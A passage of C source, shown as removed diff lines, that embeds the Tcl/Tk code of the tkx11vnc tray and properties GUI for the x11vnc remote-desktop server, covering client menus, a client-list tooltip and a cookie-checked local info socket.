-" frame $ac\n"
-" checkbutton $ac.button -text \"Accept Connections\" \\\n"
-" -variable props_accept -anchor w -font $bfont\n"
-" pack $ac.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set px \"6m\"\n"
-" pack $b1 -side bottom -fill x -pady $pady -padx $px\n"
-" pack $b2 -side bottom -fill x -pady $pady -padx $px\n"
-" pack $vp -side bottom -fill x -pady $pady -padx $px\n"
-" pack $pw -side bottom -fill x -pady $pady -padx $px\n"
-" pack $sb -side bottom -fill x -pady 0m -padx $px\n"
-" pack $jv -side bottom -fill x -pady 0m -padx $px\n"
-" pack $zc -side bottom -fill x -pady 0m -padx $px\n"
-" pack $sh -side bottom -fill x -pady 0m -padx $px\n"
-" pack $vo -side bottom -fill x -pady 0m -padx $px\n"
-" pack $cf -side bottom -fill x -pady 0m -padx $px\n"
-" pack $ac -side bottom -fill x -pady 0m -padx $px\n"
-"\n"
-" global show_props_instructions\n"
-" if {![info exists show_props_instructions]} {\n"
-" set show_props_instructions 1\n"
-" }\n"
-"\n"
-" wm withdraw .props\n"
-"\n"
-" set wl $w\n"
-"\n"
-" pack $wl -side left\n"
-"\n"
-" if {$msg != \"\"} {\n"
-" set tw [textwidth $msg]\n"
-" set th [textheight $msg]\n"
-" set th [expr $th - 1]\n"
-" set ms \".props.msg\"\n"
-" text $ms -font $ffont -relief ridge -width $tw -height $th\n"
-" $ms insert 1.0 $msg\n"
-"\n"
-" set si \"$wl.instructions\"\n"
-" frame $si\n"
-" checkbutton $si.button -text \"Show Instructions\" \\\n"
-" -variable show_props_instructions -anchor w -font $bfont \\\n"
-" -command \"toggle_instructions $ms $pady $px\"\n"
-"\n"
-" pack $si.button -fill x -expand 1 -padx 1m -pady $pady\n"
-" pack $si -side bottom -fill x -pady 0m -padx $px\n"
-"\n"
-" if {$show_props_instructions} {\n"
-" pack $ms -side left -fill both\n"
-" }\n"
-"\n"
-" update\n"
-" }\n"
-"\n"
-"\n"
-" lappend props_buttons $ac.button $cf.button $vo.button $sh.button $zc.button $jv.button $sb.button\n"
-"\n"
-" \n"
-" set w .props\n"
-" update\n"
-" wm resizable $w 1 0\n"
-" center_win $w\n"
-" update\n"
-"\n"
-" #wm minsize $w [winfo width $w] [winfo height $w]\n"
-"\n"
-" tkwait window $w\n"
-" set show_props_instructions 0\n"
-"}\n"
-"\n"
-"proc toggle_instructions {ms pady px} {\n"
-" global show_props_instructions\n"
-" if {$show_props_instructions} {\n"
-" pack $ms -side left -fill both\n"
-" } else {\n"
-" pack forget $ms\n"
-" }\n"
-" catch {pack .props}\n"
-" update\n"
-"}\n"
-"\n"
-"proc do_new_client {} {\n"
-" global newclient ffont bfont\n"
-"\n"
-" set w .newclient\n"
-" catch {destroy $w}\n"
-" toplevel $w\n"
-" label $w.l -text \"Hostname: \" -font $bfont\n"
-" set newclient \"\"\n"
-" entry $w.e -width 16 -textvariable newclient -font $bfont \n"
-" button $w.b -text OK -command \"destroy $w\" -font $bfont\n"
-" button $w.h -text Help -command \"menu_help NewClient\" -font $bfont\n"
-" bind $w.e <Return> \"update; after 100; destroy $w\"\n"
-"\n"
-" wm title $w \"New Client\"\n"
-"\n"
-" pack $w.l $w.e $w.h $w.b -side left -pady 1m -padx 0.5m\n"
-" focus $w.e\n"
-" center_win $w\n"
-" update \n"
-" \n"
-" tkwait window $w\n"
-"\n"
-" regsub -all {[{}()~!$&*|;'\"`{}<>\\[\\]]} $newclient \"\" newclient\n"
-" #'\n"
-" if {$newclient != \"\"} {\n"
-" push_new_value \"connect\" \"connect\" \"$newclient\" 1\n"
-" }\n"
-"}\n"
-"\n"
-"proc do_disconnect_all {} {\n"
-" push_new_value \"disconnect\" \"disconnect\" \"all\" 1\n"
-"}\n"
-"\n"
-"proc do_disconnect_client {id} {\n"
-" push_new_value \"disconnect\" \"disconnect\" \"$id\" 1\n"
-"}\n"
-"\n"
-"proc popup_post {m} {\n"
-" global popup_cascade_posted client_balloon\n"
-" global client_id_list\n"
-"\n"
-" set popup_cascade_posted 0\n"
-" \n"
-" set wd \"$m.disconnect\"\n"
-"\n"
-" if {![winfo exists $wd]} {\n"
-" return\n"
-" }\n"
-"\n"
-" catch {$wd delete 0 end}\n"
-"\n"
-" $wd add command -label \"Disconnect client:\"\n"
-" $wd add separator\n"
-" $wd add command -label \"All Clients\" -command do_disconnect_all\n"
-"\n"
-" if {![info exists client_id_list]} {\n"
-" return\n"
-" }\n"
-"\n"
-" foreach client $client_id_list {\n"
-" if {$client == \"\"} {\n"
-" continue\n"
-" }\n"
-" if {[regexp {^([^:]*):(.*)$} $client mat id lab]} {\n"
-" set nid [expr \"$id + 0\"]\n"
-" $wd add command -label \"$nid $lab\" \\\n"
-" -command \"do_disconnect_client $id\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc pmenu {m x y} {\n"
-" if {![winfo exists $m]} {\n"
-" return\n"
-" }\n"
-" set x [expr $x-10]\n"
-" set y [expr $y-10]\n"
-" $m post $x $y\n"
-" # XXX more care needed\n"
-" grab set -global $m\n"
-"}\n"
-"\n"
-"proc set_client_balloon {str} {\n"
-" global client_balloon vnc_display\n"
-" global client_id_list\n"
-"\n"
-" set client_id_list [list]\n"
-" \n"
-" set client_balloon \"$vnc_display\"\n"
-" set count 0\n"
-" regsub -all {^.*aro=clients:} $str \"\" str\n"
-" regsub -all {aro=.*$} $str \"\" str\n"
-" regsub -all {ans=.*$} $str \"\" str\n"
-" foreach client [split $str \",\"] {\n"
-" #puts \"client: $client\"\n"
-" if [regexp {^[ ]*$} $client] {\n"
-" continue\n"
-" }\n"
-" if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \\\n"
-" $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {\n"
-" set id $m1\n"
-" set nid [expr \"$m1 + 0\"]\n"
-" set ip $m2\n"
-" set port $m3\n"
-" set user $m4\n"
-" set unix $m5\n"
-" if {[string length $user] >= 24} {\n"
-" # weird identd hash...\n"
-" set user [string range $user 0 8]\n"
-" set user \"${user}...\"\n"
-" }\n"
-" if {$unix != \"\" && $unix != \"none\"} {\n"
-" set user $unix\n"
-" }\n"
-" set host $m6\n"
-" set input $m7\n"
-" set vo $m8\n"
-" set ltime $m9\n"
-" if [regexp {^[ ]*$} $host] {\n"
-" set host $ip\n"
-" }\n"
-" set client_balloon \"${client_balloon}\\n$nid $user\\@$host\"\n"
-" if {$vo == \"1\"} {\n"
-" set client_balloon \"${client_balloon} - view\"\n"
-" lappend client_id_list \"$id:$user\\@$host - view\"\n"
-" } else {\n"
-" set client_balloon \"${client_balloon} - full\"\n"
-" lappend client_id_list \"$id:$user\\@$host - full\"\n"
-" }\n"
-" } else {\n"
-" set i [expr $count+1]\n"
-" if {$i == 1} {\n"
-" set client_balloon \"${client_balloon}\\nunknown-host$i\"\n"
-" }\n"
-" }\n"
-" incr count\n"
-" }\n"
-" if {$count == 0} {\n"
-" set client_balloon \"${client_balloon}\\nNo connections.\"\n"
-" }\n"
-" icon_win_cfg $count\n"
-"}\n"
-"\n"
-"proc read_client_info {channel} {\n"
-" global x11vnc_client_file client_str client_info_read\n"
-" global read_client_info_lock\n"
-" global read_clients\n"
-" set db 0\n"
-"\n"
-" set read_clients 0\n"
-"\n"
-" if {![info exists read_client_info_lock]} {\n"
-" set read_client_info_lock 0\n"
-" }\n"
-"\n"
-" if {$channel != \"\"} {\n"
-"\n"
-" if {$read_client_info_lock} {\n"
-" return\n"
-" }\n"
-" set read_client_info_lock 1\n"
-" after 100\n"
-" set str \"\"\n"
-" set count [gets $channel str]\n"
-" if {$db} {puts stderr \"read_client_info-$channel: $str\"}\n"
-"\n"
-" if {$count == -1 || [eof $channel]} {\n"
-" close $channel\n"
-" catch {file delete $x11vnc_client_file}\n"
-" set read_client_info_lock 0\n"
-" clean_icon_exit\n"
-" }\n"
-" if {$count > 0 && ![regexp {^[ ]*$} $str]} {\n"
-" set client_info_read 1\n"
-" if {$str == \"quit\"} {\n"
-" catch {file delete $x11vnc_client_file}\n"
-" set read_client_info_lock 0\n"
-" clean_icon_exit\n"
-" } elseif {$str == \"skip\"} {\n"
-" ;\n"
-" } elseif [regexp {^clients:} $str] {\n"
-" regsub {^clients:} $str \"\" str\n"
-" set read_clients 1\n"
-" if {$str == \"none\"} {\n"
-" set str \"\"\n"
-" }\n"
-" update_clients_menu $str\n"
-" set client_str $str\n"
-" set_client_balloon $str\n"
-" }\n"
-" }\n"
-" set read_client_info_lock 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc check_set_vnc_display {} {\n"
-" \n"
-" global read_clients check_set_vnc_display_done\n"
-"\n"
-" if {[info exists check_set_vnc_display_done]} {\n"
-" return\n"
-" }\n"
-" if {[info exists read_clients]} {\n"
-" if {$read_clients} {\n"
-" after 250\n"
-" query_all\n"
-" global client_str\n"
-" set_client_balloon $client_str\n"
-" set check_set_vnc_display_done 1\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc read_client_tail {} {\n"
-" global client_tail\n"
-"\n"
-" if {$client_tail != \"\"} {\n"
-" read_client_info $client_tail\n"
-" check_set_vnc_display\n"
-" }\n"
-"}\n"
-"\n"
-"proc read_client_sock {} {\n"
-" global client_sock\n"
-"\n"
-" if {$client_sock != \"\"} {\n"
-" read_client_info $client_sock\n"
-" check_set_vnc_display\n"
-" }\n"
-"}\n"
-"\n"
-"proc show_client_balloon {} {\n"
-" global icon_mode icon_win props_win full_win\n"
-" global client_balloon ffont connected_to_x11vnc\n"
-"\n"
-" set noinfo \"tkx11vnc: no client information\"\n"
-" set noinfo \"$noinfo\\navailable from x11vnc ...\"\n"
-" if ![info exists client_balloon] {\n"
-" set client_balloon $noinfo\n"
-" }\n"
-" if {$client_balloon == \"\"} {\n"
-" set client_balloon $noinfo\n"
-" }\n"
-" if {! [info exists icon_win]} {\n"
-" return\n"
-" } elseif {$icon_win == \"\"} {\n"
-" return\n"
-" } elseif {! [winfo exists $icon_win]} {\n"
-" return\n"
-" }\n"
-"\n"
-" set x [expr [winfo rootx $icon_win] + ([winfo width $icon_win]/2)]\n"
-" set y [expr [winfo rooty $icon_win] + [winfo height $icon_win] + 4]\n"
-"\n"
-" set infotext $client_balloon\n"
-" if {!$connected_to_x11vnc} {\n"
-" set infotext \"Not currently attached to x11vnc\\nLast available info:\\n$infotext\"\n"
-" }\n"
-"\n"
-" set w .client_balloon\n"
-" catch {destroy $w}\n"
-" toplevel $w -bg black -screen [winfo screen $icon_win]\n"
-" wm overrideredirect $w 1\n"
-" label $w.l -text \"$infotext\" -relief flat -bg \"#ffffaa\" -fg black \\\n"
-" -padx 2 -pady 0 -anchor w -justify left -font $ffont\n"
-" pack $w.l -side left -padx 1 -pady 1\n"
-"\n"
-" set w2 [winfo reqwidth $w.l]\n"
-" set h2 [winfo reqheight $w.l]\n"
-"\n"
-" set W [winfo screenwidth $w]\n"
-" set H [winfo screenheight $w]\n"
-"\n"
-" if {[expr $x+$w2] > $W} {\n"
-" set w3 [winfo width $icon_win]\n"
-" set x [expr \"$W - $w2 - $w3 - 4\"] \n"
-" }\n"
-" if {[expr $y+$h2] > $H} {\n"
-" set h3 [winfo height $icon_win]\n"
-" set y [expr \"$H - $h2 - $h3 - 4\"] \n"
-" }\n"
-"\n"
-" wm geometry $w +${x}+${y}\n"
-"}\n"
-"\n"
-"proc kill_client_balloon {} {\n"
-" global client_balloon_id client_balloon_win\n"
-" if [info exists client_balloon_id] {\n"
-" catch {after cancel $client_balloon_id}\n"
-" }\n"
-" if [winfo exists .client_balloon] {\n"
-" destroy .client_balloon\n"
-" }\n"
-"}\n"
-"\n"
-"proc icon_win_cfg {clients} {\n"
-" global icon_win client_tail client_sock client_info_read\n"
-"\n"
-" if {! [info exists icon_win]} {\n"
-" return\n"
-" } elseif {$icon_win == \"\"} {\n"
-" return\n"
-" } elseif {! [winfo exists $icon_win]} {\n"
-" return\n"
-" }\n"
-" if {$clients > 0} {\n"
-" $icon_win configure -bg black -fg white\n"
-" } else {\n"
-" $icon_win configure -bg white -fg black\n"
-" }\n"
-"\n"
-" if {$client_tail == \"\" || !$client_info_read} {\n"
-" if {$client_sock == \"\"} {\n"
-" $icon_win configure -fg red\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc server_accept {sock addr port} {\n"
-" global socket_cookie server socket_got_callback\n"
-" global client_tail client_sock\n"
-" set db 0\n"
-"\n"
-" if {$db} {puts stderr \"sock=$sock addr=$addr port=$port\"}\n"
-"\n"
-" update; update idletasks\n"
-" after 50\n"
-" update; update idletasks\n"
-" set count [gets $sock str]\n"
-"\n"
-" if {$count >= 0} {\n"
-" set str [string trim $str]\n"
-" if {$db} {puts stderr \"server_accept: \\\"$str\\\"\"}\n"
-" if {$str == \"COOKIE:$socket_cookie\"} {\n"
-" set client_sock $sock\n"
-" if {$db} {puts stderr \"cookie matched. $client_sock\"}\n"
-" } else {\n"
-" if {$db} {puts stderr \"cookie NO matched.\"}\n"
-" }\n"
-" }\n"
-" catch {close $server}\n"
-" set socket_got_callback 1\n"
-" if {$db} {puts stderr \"socket_got_callback $socket_got_callback\"}\n"
-"}\n"
-"\n"
-"proc try_client_info_sock {} {\n"
-" global socket_cookie server socket_got_callback\n"
-" global x11vnc_started x11vnc_xdisplay hostname client_sock\n"
-" global x11vnc_xdisplay0 menu_var\n"
-"\n"
-" set db 0\n"
-"#dtime t1\n"
-" set start 13037\n"
-" set tries 100\n"
-" set socket_got_callback 0\n"
-"\n"
-" set xd $x11vnc_xdisplay\n"
-" if {$xd == \"\" && $x11vnc_xdisplay0 != \"\"} {\n"
-" set xd $x11vnc_xdisplay0\n"
-" }\n"
-" if {$xd == \"\" && [info exists menu_var(display)]} {\n"
-" set xd $menu_var(display)\n"
-" }\n"
-"\n"
-" set myaddr \"\"\n"
-" regsub {\\..*$} $hostname \"\" shost\n"
-" if {$x11vnc_started} {\n"
-" set myaddr \"127.0.0.1\"\n"
-" } elseif {$xd != \"\"} {\n"
-" if {[regexp {^:} $xd]} {\n"
-" set myaddr \"127.0.0.1\"\n"
-" } elseif {[regexp -nocase \"^$shost\" $xd]} {\n"
-" set myaddr \"127.0.0.1\"\n"
-" } elseif {[regexp -nocase \"^localhost\" $xd]} {\n"
-" set myaddr \"127.0.0.1\"\n"
-" } else {\n"
-" set myaddr $hostname\n"
-" }\n"
-" } else {\n"
-" set myaddr $hostname\n"
-" }\n"
-" \n"
-" for {set i 0} {$i <= $tries} {incr i} {\n"
-" set port [expr $start + $i]\n"
-" set server [socket -server server_accept -myaddr $myaddr $port]\n"
-" if {$server == \"\"} {\n"
-" continue\n"
-" }\n"
-" if {[eof $server]} {\n"
-" continue\n"
-" }\n"
-" set err \"\"\n"
-" catch {set err [fconfigure $server -error]}\n"
-" #puts \"err: $server: $err\"\n"
-" if {$err == \"\"} {\n"
-" break\n"
-" }\n"
-" }\n"
-" if {$server == \"\"} {\n"
-" append_text \"try_client_info_sock: server socket failed.\\n\"\n"
-" return\n"
-" }\n"
-" if {! $x11vnc_started} {\n"
-" run_remote_cmd [list \"-nosync\" \"-R\" \"noop\"]\n"
-" if {$db} {dtime A}\n"
-" after 250\n"
-" if {$db} {dtime A}\n"
-" }\n"
-"\n"
-" # set the cookie to some obscured randomness\n"
-" set socket_cookie [clock clicks]\n"
-" set r [expr rand()]\n"
-" if {$r != \"\"} {\n"
-" append socket_cookie $r\n"
-" }\n"
-" set r \"\"\n"
-" catch {set r [winfo id .]}\n"
-" if {$r != \"\"} {\n"
-" append socket_cookie $r\n"
-" }\n"
-" if {[regexp {([0-9])([0-9])$} [clock clicks] m m1 m2]} {\n"
-" regsub -all {\\.} $socket_cookie $m1 socket_cookie\n"
-" regsub -all {x} $socket_cookie $m2 socket_cookie\n"
-" }\n"
-" run_remote_cmd [list \"-nosync\" \"-R\" \\\n"
-" \"client_info_sock:$myaddr:$port:$socket_cookie\"]\n"
-"#dtime t2\n"
-" if {$db} {puts \"client_info_sock:$myaddr:$port:$socket_cookie\"}\n"
-" for {set i 0} {$i < 10} {incr i} {\n"
-" after 50\n"
-" update; update idletasks\n"
-"#dtime aa\n"
-" if {$socket_got_callback != 0} {\n"
-"#puts \"break-\"\n"
-" break\n"
-" }\n"
-" }\n"
-"#dtime t3\n"
-"\n"
-" set aftid \"\"\n"
-" if {$socket_got_callback == 0} {\n"
-" set aftid [after 10000 {set socket_got_callback 2}]\n"
-" tkwait variable socket_got_callback\n"
-" }\n"
-"\n"
-" if {$aftid != \"\"} {\n"
-" catch {after cancel $aftid}\n"
-" }\n"
-"\n"
-" if {$socket_got_callback != 1} {\n"
-" puts stderr \"try_client_info_sock failed: no callback\\n\"\n"
-" catch {close $server}\n"
-" } else {\n"
-" setup_client_sock 1\n"
-" }\n"
-"#dtime t4\n"
-"}\n"
-"\n"
-"proc set_icon_label {} {\n"
-" global icon_win\n"
-"\n"
-" set lab [get_icon_label]\n"
-"\n"
-" if {! [info exists icon_win]} {\n"
-" return\n"
-" } elseif {$icon_win == \"\"} {\n"
-" return\n"
-" } elseif {! [winfo exists $icon_win]} {\n"
-" return\n"
-" }\n"
-" \n"
-" if {[info exists icon_win]} {\n"
-" $icon_win configure -text $lab\n"
-" }\n"
-"}\n"
-"\n"
-"proc get_icon_label {{set 0}} {\n"
-" global icon_minimal \n"
-"\n"
-" set lab0 \"x11\\nvnc\"\n"
-" \n"
-" if {$icon_minimal} {\n"
-" set lab [get_vnc_display_number]\n"
-" if {$lab != \"none\"} {\n"
-" #set lab \" :$lab\"\n"
-" set lab \":$lab\"\n"
-" } else {\n"
-" set lab \"-\"\n"
-" }\n"
-" } else {\n"
-" set lab $lab0\n"
-" }\n"
-" return $lab\n"
-"}\n"
-"\n"
-"# currently unused\n"
-"proc lmenu {menu} {\n"
-" global popup_cascade_posted\n"
-" global left_iconwin_menu\n"
-" set left_iconwin_menu 1\n"
-" after 100\n"
-" update\n"
-" if {!$popup_cascade_posted && $left_iconwin_menu} {\n"
-" for {set i 0} {$i < 3} {incr i} {\n"
-" after 100\n"
-" update\n"
-" }\n"
-" if {!$popup_cascade_posted && $left_iconwin_menu} {\n"
-" $menu unpost\n"
-" return\n"
-" }\n"
-" }\n"
-" # kludge for WindowView\n"
-" if {$popup_cascade_posted} {\n"
-" focus $menu\n"
-" }\n"
-"}\n"
-"\n"
-"proc old_balloon {} {\n"
-" global client_str saved_clients_str\n"
-" set str \"\"\n"
-" if {[info exists client_str]} {\n"
-" if {$client_str != \"\"} {\n"
-" set str $client_str\n"
-" }\n"
-" }\n"
-" if {$str == \"\"} {\n"
-" if {[info exists saved_clients_str]} {\n"
-" set str $saved_clients_str\n"
-" }\n"
-" }\n"
-" if {$str != \"\"} {\n"
-" set_client_balloon $str\n"
-" }\n"
-"}\n"
-"\n"
-"proc get_custom_menu_items {} {\n"
-" global env custom_last_read\n"
-"\n"
-" if {![info exists custom_last_read]} {\n"
-" set custom_last_read 0\n"
-" }\n"
-" if {[info exists env(X11VNC_CUSTOM_GUI)]} {\n"
-" set custom \"$env(X11VNC_CUSTOM_GUI)\"\n"
-" } elseif {![info exists env(HOME)]} {\n"
-" return [list \"none\"]\n"
-" } else {\n"
-" set custom \"$env(HOME)/.x11vnc.gui\"\n"
-" }\n"
-" if {![file exists $custom]} {\n"
-" return [list \"none\"]\n"
-" }\n"
-"\n"
-"# if {[file mtime $custom] <= $custom_last_read} {\n"
-"# return [list \"nochange\"]\n"
-"# }\n"
-"\n"
-" set in \"\"\n"
-" catch {set in [open $custom \"r\"]} \n"
-" if {$in == \"\"} {\n"
-" return [list \"none\"]\n"
-" }\n"
-"\n"
-" set custom_last_read [clock seconds]\n"
-"\n"
-" set count 0\n"
-" while {[gets $in line] > -1} {\n"
-" if {[regexp {^[ \\t]*#} $line]} {\n"
-" continue\n"
-" }\n"
-" set line [string trim $line]\n"
-" if {$line != \"\"} {\n"
-" lappend items $line\n"
-" incr count\n"
-" }\n"
-" }\n"
-" close $in\n"
-" \n"
-" if {$count > 0} {\n"
-" return $items\n"
-" } else {\n"
-" return [list \"none\"]\n"
-" }\n"
-"}\n"
-"\n"
-"proc make_custom_menu {menu font} {\n"
-" set items [get_custom_menu_items]\n"
-" set i0 [lindex $items 0]\n"
-" catch {$menu delete 0 end}\n"
-" if {$i0 != \"none\"} {\n"
-" $menu add command -font $font -label \"Custom items:\"\n"
-" $menu add separator\n"
-" foreach item $items {\n"
-" if {$item == \"sep\" || $item == \"separator\"} {\n"
-" $menu add separator\n"
-" continue\n"
-" }\n"
-" if {[regexp {^action:(.*)$} $item m action]} {\n"
-" $menu add command -font $font -label \"$action\" \\\n"
-" -command \"do_var $action\"\n"
-" continue\n"
-" }\n"
-" $menu add command -font $font -label \"$item\" \\\n"
-" -command \"run_remote_cmd \\[list \\\"-R\\\" \\\"$item\\\"\\]\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc make_icon {} {\n"
-" global icon_mode icon_embed_id icon_win props_win full_win\n"
-" global tray_embed tray_running env\n"
-" global x11vnc_client_file client_tail client_sock client_str saved_clients_str\n"
-" global client_balloon_id\n"
-" global bfont sfont snfont ffont\n"
-" global icon_minimal gui_start_mode\n"
-" global popup_cascade_posted menu_var x11vnc_gui_geom\n"
-" set min_x 24\n"
-" set min_y 24\n"
-" \n"
-" set font $bfont\n"
-" set mfont $font\n"
-"\n"
-" if {$tray_embed} {\n"
-" set font $sfont\n"
-" set mfont $snfont\n"
-" }\n"
-" if {[info exists env(X11VNC_ICON_FONT)]} {\n"
-" set font $env(X11VNC_ICON_FONT)\n"
-" }\n"
-" if {[regexp {([0-9][0-9]*)x([0-9][0-9]*)} $x11vnc_gui_geom m mx my]} {\n"
-" if {$mx < $min_x} {\n"
-" set min_x $mx\n"
-" }\n"
-" if {$my < $min_y} {\n"
-" set min_y $my\n"
-" }\n"
-" }\n"
-" wm minsize . $min_x $min_y\n"
-"\n"
-" if {$tray_embed && $tray_running} {\n"
-" wm withdraw .\n"
-" }\n"
-"\n"
-" set l .icon\n"
-" set icon_win $l\n"
-" catch destroy {$icon_win}\n"
-" if {$icon_minimal} {\n"
-" set bw 1\n"
-" } else {\n"
-" set bw 5\n"
-" }\n"
-" set lab [get_icon_label]\n"
-" label $l -text $lab -borderwidth $bw -font $font\n"
-" icon_win_cfg 0\n"
-"\n"
-"\n"
-" set popup_cascade_posted 0\n"
-" pack $l -fill both -expand 1\n"
-" set menu \"$l.menu\"\n"
-" menu $menu -tearoff 0 -postcommand \"popup_post $menu\"\n"
-" $menu add command -font $mfont -label \"Properties\" -command do_props\n"
-" $menu add command -font $mfont -label \"Help\" -command \"menu_help Tray\"\n"
-" $menu add command -font $mfont -label \"Logfile\" -command show_logfile\n"
-" $menu add separator\n"
-" $menu add command -font $mfont -label \"New Client\" -command do_new_client\n"
-"\n"
-" set wd \"$menu.disconnect\"\n"
-" catch {destroy $wd}\n"
-" menu $wd -tearoff 0 -font $ffont \\\n"
-" -postcommand {set popup_cascade_posted 1}\n"
-" $wd add command -label \"Disconnect client:\"\n"
-" $wd add separator\n"
-" $wd add command -label \"All Clients\" -command do_disconnect_all\n"
-" $menu add cascade -font $mfont -label \"Disconnect:\" -menu $wd\n"
-"\n"
-" $menu add separator\n"
-"\n"
-" set wv \"$menu.windowview\"\n"
-" catch {destroy $wv}\n"
-" menu $wv -tearoff 0 -font $ffont \\\n"
-" -postcommand {set popup_cascade_posted 1}\n"
-" foreach val {full icon tray} {\n"
-" $wv add radiobutton -label \"$val\" \\\n"
-" -value \"$val\" -font $ffont \\\n"
-" -command \"do_var WindowView\" \\\n"
-" -variable menu_var(WindowView)\n"
-" }\n"
-" $menu add cascade -font $mfont -label \"Window View:\" -menu $wv\n"
-"\n"
-" $menu add command -font $mfont -label \"Dismiss\" -command \"$menu unpost\"\n"
-" $menu add command -font $mfont -label \"Stop x11vnc\" -command clean_icon_exit\n"
-"\n"
-" set items [get_custom_menu_items]\n"
-" set i0 [lindex $items 0]\n"
-" if {$i0 != \"none\" && $i0 != \"nochange\"} {\n"
-" $menu add separator\n"
-" set cm \"$menu.custom\"\n"
-" catch {destroy $cm}\n"
-" menu $cm -tearoff 0 -font $ffont \\\n"
-" -postcommand \"set popup_cascade_posted 1; make_custom_menu $cm $ffont\"\n"
-" $menu add cascade -font $mfont -label \"Custom:\" -menu $cm\n"
-" }\n"
-"\n"
-" bind $icon_win <ButtonRelease-1> \"pmenu $menu %X %Y\"\n"
-" bind $icon_win <ButtonRelease-3> \"pmenu $menu %X %Y\"\n"
-" bind $icon_win <Enter> {set client_balloon_id [after 500 show_client_balloon]}\n"
-" bind $icon_win <Button> {kill_client_balloon}\n"
-" bind $icon_win <Leave> {kill_client_balloon}\n"
-" bind $icon_win <Shift-ButtonRelease-1> {kill_client_balloon; show_client_balloon}\n"
-" bind $icon_win <ButtonRelease-2> {kill_client_balloon; show_client_balloon}\n"
-"# bind $menu <Leave> \"lmenu $menu\"\n"
-"# bind $menu <Enter> \"set left_iconwin_menu 0\"\n"
-"# bind $menu <KeyPress-Escape> \"$menu unpost\"\n"
-"\n"
-" bind . <Control-KeyPress-c> {destroy .; exit 0}\n"
-"\n"
-" if {!$tray_embed || !$tray_running} {\n"
-" global x11vnc_gui_geom\n"
-" if {$x11vnc_gui_geom != \"\"} {\n"
-" set doit 1\n"
-" if {[regexp {x} $x11vnc_gui_geom]} {\n"
-" if {$gui_start_mode == \"full\"} {\n"
-" set doit 0\n"
-" }\n"
-" } \n"
-" if {$doit} {\n"
-" wm geometry . $x11vnc_gui_geom\n"
-" }\n"
-" }\n"
-" }\n"
-" wm iconname . \"tkx11vnc\"\n"
-" wm title . \"tkx11vnc\"\n"
-" update\n"
-" if {$tray_embed && $tray_running} {\n"
-" #wm deiconify .; # why did we have this???\n"
-" #after 10000 {wm deiconify .; puts \"reqheight [winfo reqheight .]\"; puts \"reqwidth [winfo reqwidth .]\"; puts \"height [winfo height .]\"; puts \"width [winfo width .]\"}\n"
-" } else {\n"
-" wm deiconify .\n"
-" }\n"
-" update\n"
-"\n"
-"#puts \"reqheight [winfo reqheight .]\"\n"
-"#puts \"reqwidth [winfo reqwidth .]\"\n"
-"#puts \"height [winfo height .]\"\n"
-"#puts \"width [winfo width .]\"\n"
-"#puts \"AAA\"\n"
-"\n"
-" old_balloon\n"
-"}\n"
-"\n"
-"proc setup_client_channel {} {\n"
-" global client_sock client_tail\n"
-"\n"
-"# XXX/setup_client_channel\n"
-" if {$client_sock == \"\" } {\n"
-" stop_watch on\n"
-" try_client_info_sock\n"
-" if {$client_sock == \"\" } {\n"
-" after 500\n"
-" try_client_info_sock\n"
-" }\n"
-" stop_watch off\n"
-" }\n"
-" if {$client_tail == \"\" && $client_sock == \"\"} {\n"
-" set m \"\\n\"\n"
-" set m \"${m}tkx11vnc:\\n\"\n"
-" set m \"${m}\\n\"\n"
-" set m \"${m} Warning -- running in icon/tray mode but the\\n\"\n"
-" set m \"${m} connected client info channel from x11vnc is\\n\"\n"
-" set m \"${m} not working. The viewer client list and icon\\n\"\n"
-" set m \"${m} color indicator will not be accurate.\\n\"\n"
-" set m \"${m}\\n\"\n"
-" set m \"${m} You may need to restart \\\"x11vnc -gui tray ...\\\"\\n\"\n"
-" set m \"${m} for this to work properly.\\n\"\n"
-" set m \"${m}\\n\"\n"
-" textwin \"Warning\" \"Warning\" $m\n"
-" update\n"
-" }\n"
-" dtime C\n"
-"}\n"
-"\n"
-"proc clean_client_tail {} {\n"
-" global client_tail client_info_read\n"
-" if [info exists client_tail] {\n"
-" if {$client_tail != \"\"} {\n"
-" set p \"\"\n"
-" catch {set p [pid $client_tail]}\n"
-" if {$p != \"\"} {\n"
-" catch {exec kill -TERM $p >/dev/null 2>/dev/null}\n"
-" }\n"
-" catch {close $client_tail}\n"
-" set client_tail \"\"\n"
-" }\n"
-" }\n"
-" set client_info_read 0\n"
-"}\n"
-"\n"
-"proc clean_icon_exit {} {\n"
-" clean_client_tail\n"
-" push_new_value \"stop\" \"stop\" 1 0\n"
-" set_connected no\n"
-" update\n"
-" destroy .\n"
-" exit\n"
-"}\n"
-"\n"
-"proc make_gui {mode} {\n"
-" global icon_mode tray_embed tray_running full_win icon_win\n"
-" global top_widget_names x11vnc_gui_geom\n"
-" global gui_current_state make_gui_count\n"
-" global x11vnc_connect connected_to_x11vnc\n"
-" global x11_display\n"
-" global gui_start_mode\n"
-"\n"
-" incr make_gui_count\n"
-"\n"
-" if {$gui_start_mode == \"\"} {\n"
-" set gui_start_mode $mode\n"
-" }\n"
-"\n"
-" wm withdraw .\n"
-"\n"
-" set full_geom \"\"\n"
-" if {[winfo exists .full]} {\n"
-" catch {set full_geom [wm geometry .full]}\n"
-" }\n"
-"\n"
-" set fw .full\n"
-" set full_win $fw\n"
-" catch {pack forget $full_win}\n"
-" catch {pack forget $icon_win}\n"
-" catch {destroy $full_win}\n"
-" catch {destroy $icon_win}\n"
-"\n"
-" wm minsize . 1 1\n"
-"\n"
-" set gui_current_state \"\"\n"
-"\n"
-" if {$mode == \"full\"} {\n"
-" frame $fw\n"
-" set icon_mode 0\n"
-"\n"
-" wm protocol . WM_DELETE_WINDOW \"destroy .; exit\"\n"
-" make_widgets $fw\n"
-"\n"
-" set w \".\"\n"
-" wm geometry $w \"\"\n"
-" if {$x11vnc_gui_geom != \"\"} {\n"
-" set doit 1\n"
-" if {[regexp {x} $x11vnc_gui_geom]} {\n"
-" if {$gui_start_mode != $mode} {\n"
-" set doit 0\n"
-" }\n"
-" }\n"
-" if {$doit} {\n"
-" wm geometry $w $x11vnc_gui_geom\n"
-" }\n"
-" }\n"
-" pack $fw -fill both -expand 1\n"
-"\n"
